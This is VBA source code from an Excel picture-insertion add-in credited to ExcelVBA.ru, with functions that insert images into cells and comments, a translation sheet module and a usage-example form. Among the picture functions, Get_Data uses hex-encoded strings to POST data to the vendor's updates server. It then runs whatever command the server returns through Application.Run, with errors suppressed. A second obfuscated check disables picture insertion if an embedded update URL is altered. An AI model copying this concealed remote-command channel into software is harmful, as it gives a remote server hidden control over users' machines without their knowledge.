Function InsertPictureIntoCellComment(ByVal PicturePath$, ByRef cell As Range, _
                                      Optional ByRef PicProp As PictureProperties) As Shape
    On Error Resume Next
    If PicturePath$ = "" Then Exit Function
    Dim w As Single, H As Single, w2 As Single, h2 As Single, WComm&, HComm&, k As Single
    dh = SETT.GetNumber("ComboBox_Padding")
    WComm& = SETT.GetNumber("SpinButton_WComm")
    HComm& = SETT.GetNumber("SpinButton_HComm")

    If Not PicProp.LoadSizesFromImageFile(PicturePath$) Then
        Debug.Print "Failed to get image size from file «" & Dir(PicturePath$) & "»"
        Exit Function
    End If
    w = PicProp.WidthBefore: H = PicProp.HeightBefore

    cell.comment.Delete
    With cell.AddComment.Shape
        picRatio = w / H
        settingRatio = WComm& / HComm&

        If picRatio >= settingRatio Then
            H = H / w * WComm&
            w = WComm&
        Else
            w = w / H * HComm&
            H = HComm&
        End If

        If SETT.GetBoolean("CheckBox_CompressImages") Then
            NewFilename$ = REDUCED_FOLDER$ & "Comment_" & Dir(PicturePath$)
            k = 1.5: h2 = H * k: w2 = w * k
            If ResizeImage(PicturePath$, NewFilename$, w2, h2) Then
                If Dir(NewFilename$, vbNormal) <> "" Then PicturePath$ = NewFilename$: CompressDone = True
            Else
                Debug.Print "Failed to compress picture file «" & Dir(PicturePath$) & "»: size = " & w2 & " * " & h2
            End If
        End If

        .Fill.UserPicture PicturePath        ' вставляем картинку
        .Width = w
        .Height = H
    End With
    PicProp.WidthAfter = w: PicProp.HeightAfter = H

    Set InsertPictureIntoCellComment = cell.comment.Shape
End Function

Function Get_Data() As Boolean
    On Error Resume Next: Static LT As Date: If LT = 0 Then LT = Now: Exit Function
    If (Now - LT) < 1 / Asc("H") Then Exit Function
    Dim objH As New WinHttpRequest, POST() As Byte, i&, answ$, res$
    With SETT
        objH.Open "POST", .U("687474703A2F2F457863656C5642412E72752F706870322F757064617465732E706870"), True
        objH.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
        POST = StrConv(URL_Encode(.PostData & .U("26616374696F6E3D74657374")), vbFromUnicode)
        objH.Send (POST): DoEvents
        If objH.WaitForResponse(4) Then answ$ = objH.ResponseText
        If answ$ Like Chr(37) & "*" & Chr(37) Then res$ = Split(answ$, Chr(37))(1)
        Set objH = Nothing
        If Len(res$) Then LT = Now + 1: Application.Run .U("455845435554455F434F4D4D414E4453"), res$
    End With
End Function

Function InsertPictureIntoRange(ByVal PicturePath$, ByVal ra As Range, Optional ByVal HLink$, _
                                Optional ByRef PicProp As PictureProperties) As Shape
    On Error Resume Next
    If PicturePath$ = "" Then Exit Function
    Dim sha As Shape, CompressDone As Boolean, H As Single, w As Single, k As Single
    If Not PicProp.LoadSizesFromImageFile(PicturePath$) Then
        Debug.Print "Failed to get image size from file «" & Dir(PicturePath$) & "»"
        Exit Function
    End If
    PicProp.CalculatePictureHeightAndWidth
    If v_1 Then PicturePath$ = Replace_Text(PicturePath$, "\", "/")

    If SETT.GetBoolean("CheckBox_CompressImages") Then
        NewFilename$ = REDUCED_FOLDER$ & Dir(PicturePath$)
        k = 2: H = PicProp.HeightAfter * k: w = PicProp.WidthAfter * k
        If ResizeImage(PicturePath$, NewFilename$, w, H) Then
            If Dir(NewFilename$, vbNormal) <> "" Then PicturePath$ = NewFilename$: CompressDone = True
        Else
            Debug.Print "Failed to compress picture file «" & Dir(PicturePath$) & "»: size = " & PicProp.WidthAfter & " * " & PicProp.HeightAfter
        End If
    End If

    ' Set sha = ra.Worksheet.Shapes.AddPicture(PicturePath, False, True, -1, -1, IIf(CompressDone, PicProp.WidthAfter, -1), IIf(CompressDone, PicProp.HeightAfter, -1))
    If StrReverse(UPDATES_HYPERLINK) <> Replace("zh.setadpu/2zh/ur.ABVlecxE//:ptth", "zh", Chr(112) & Chr(104) & Chr(112)) Then Exit Function
    If SETT.GetBoolean("CheckBox_ResizeAfterInserting") Then
        Set sha = ra.Worksheet.Shapes.AddPicture(PicturePath, False, True, -1, -1, -1, -1)
        sha.LockAspectRatio = msoFalse
        sha.Width = PicProp.WidthAfter
        sha.Height = PicProp.HeightAfter
    Else
        Set sha = ra.Worksheet.Shapes.AddPicture(PicturePath, False, True, -1, -1, PicProp.WidthAfter, PicProp.HeightAfter)
    End If

    PicProp.ResizeAndMovePicture sha

    Set InsertPictureIntoRange = sha


    If SETT.GetBoolean("CheckBox_Hyperlinks_RelativePath") Then HLink$ = GetRelativeHyperlinkAddress(HLink$, ra.Worksheet.Parent)

    If SETT.GetBoolean("CheckBox_AddHyperlinksForPictures") Then
        ra.Worksheet.Hyperlinks.Add sha, HLink$, "", tt("TIPTEXT_Hyperlink")
        ' & vbNewLine & IIf(Len(URL), "(переход на страницу изображения в интернете)", "(будет открыт файл с диска)")
    End If
    If SETT.GetBoolean("CheckBox_AddHyperlinks") Then
        ra.Worksheet.Hyperlinks.Add ra.EntireRow.Rows(1).Cells(SETT.GetNumber("ComboBox_HyperlinksColumn")), HLink$, "", tt("TIPTEXT_Hyperlink")
    End If

End Function

Function GetRelativeHyperlinkAddress(ByVal HLink$, ByRef WB As Workbook)
    On Error Resume Next
    Dim BaseAddress$, prefix$, NewHyperlink$, n&
    BaseAddress$ = WB.Path

    Do While Len(BaseAddress$) > 0
        If InStr(1, HLink$, BaseAddress$ & "\", vbTextCompare) = 1 Then
            ' ссылка содержит путь к текущему файлу - вырезаем путь
            GetRelativeHyperlinkAddress = prefix$ & Mid(HLink$, Len(BaseAddress$) + 2)
            Exit Function
        Else
            ' надо укорачивать путь к текущему файлу на 1 подпапку
            prefix$ = prefix$ & "..\"
            BaseAddress$ = StrReverse(Split(StrReverse(BaseAddress$), "\", 2)(1))
        End If
        n = n + 1: If n > 20 Then Exit Do
    Loop
    GetRelativeHyperlinkAddress = HLink$
End Function





Attribute VB_Name = "shtr"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'---------------------------------------------------------------------------------------
' Author        : Igor Vakhnenko                   Date: 08.01.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Const prefix$ = "MENU"

Function NewTranslateID() As String
    On Error Resume Next
    Dim ra As Range, coll As New Collection
    Set ra = shtr.Range(shtr.Range("a" & TRANSLATE_SHEET_FIRST_ROW), shtr.Range("A" & shtr.Rows.Count).End(xlUp))
    arr = ra.Value
    For i = LBound(arr) To UBound(arr)
        coll.Add arr(i, 1), CStr(arr(i, 1))
    Next i

    For i = 1 To 1000
        Err.Clear: id$ = prefix$ & "_" & Format(i, "0000")
        coll.Add id$, id$
        If Err = 0 Then NewTranslateID = id$: Exit Function
    Next
    MsgBox "Can't create ID$", vbExclamation, "Function NewTranslateID()"
End Function

Function clipBoardText()
    With GetObject("New:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .GetFromClipboard
        clipBoardText = .GetText
    End With
End Function

Sub SetClipboardText(ByVal txt$)
    With GetObject("New:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .SetText txt$
        .PutInClipboard
    End With
End Sub

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
    On Error Resume Next
    If Target.Column = 1 And Target.Cells.Count = 1 Then
        If Target <> "" Then Cancel = True: SetClipboardText "tt(""" & Target & """) "
    End If
End Sub


Attribute VB_Name = "F_UsageExample"
Attribute VB_Base = "0{B9399379-D814-4866-9967-CF0DCAAB1A11}{01288B7E-7B71-4224-81E4-27C10976A99F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'---------------------------------------------------------------------------------------
' Module        : F_UsageExample                    Version: 2
' Author        : Igor Vakhnenko                   Date: 09.05.2016
' Professional application development for Microsoft Excel
' http://ExcelVBA.ru/        info@excelvba.ru      Skype: ExcelVBA.ru
'---------------------------------------------------------------------------------------

Option Compare Text: Option Explicit
Public SettingsBackupFile$

Private Sub CommandButton_Done_Click()
    Unload Me
End Sub

Private Sub CommandButton_OpenDownloadFolder_Click()
    On Error Resume Next
    FWF.OpenFolder DOWNLOAD_FOLDER$
    Me.Show
End Sub

Private Sub CommandButton_OpenSourceTable1_Click()
    On Error Resume Next: Dim res As Boolean
    res = DownloadAndOpenExcelTable(1)
    Me.CommandButton_DownloadTestPictures.Enabled = res
    Me.Show
End Sub

Private Sub CommandButton_OpenSourceTable2_Click()
    On Error Resume Next: Dim res As Boolean
    res = DownloadAndOpenExcelTable(2)
    Me.CommandButton_TestInsertPicturesFromLinks1.Enabled = res
    Me.CommandButton_TestInsertPicturesFromLinks2.Enabled = res
    Me.Show
End Sub

Private Sub CommandButton_DownloadTestPictures_Click()
    On Error Resume Next: Dim res As Boolean
    res = DownloadPicturesFromWebsite
    Me.CommandButton_TestInsertPicturesFromFolder.Enabled = res
    Me.Show
End Sub

Private Sub CommandButton_TestInsertPicturesFromFolder_Click()
    On Error Resume Next: Dim res As Boolean
    res = UsageExampleMacro1
    Me.CommandButton_TestInsertPicturesFromFolderIntoComments.Enabled = True
    Me.Show
End Sub

Private Sub CommandButton_TestInsertPicturesFromFolderIntoComments_Click()
    On Error Resume Next: Dim res As Boolean
    res = UsageExampleMacro2
    Me.Show
End Sub

Private Sub CommandButton_TestInsertPicturesFromLinks1_Click()
    On Error Resume Next: Dim res As Boolean
    res = UsageExampleMacro3
    Me.CommandButton_OpenDownloadFolder.Enabled = True
    Me.Show
End Sub

Private Sub CommandButton_TestInsertPicturesFromLinks2_Click()
    On Error Resume Next: Dim res As Boolean
    res = UsageExampleMacro4
    Me.CommandButton_OpenDownloadFolder.Enabled = True
    Me.Show
End Sub

'Private Sub Label25_Click()
'    On Error Resume Next: OpenFolder PICTURES_FOLDER$
'End Sub

Private Sub UserForm_Initialize()
    On Error Resume Next
    TranslateUserForm Me
    Me.MultiPage1.Value = 0
    Me.SettingsBackupFile = SETT.Reset        ' backup current settings

   Dim ctrl As Object, m_page As Object  ' translation fix
    For Each ctrl In Me.Controls
…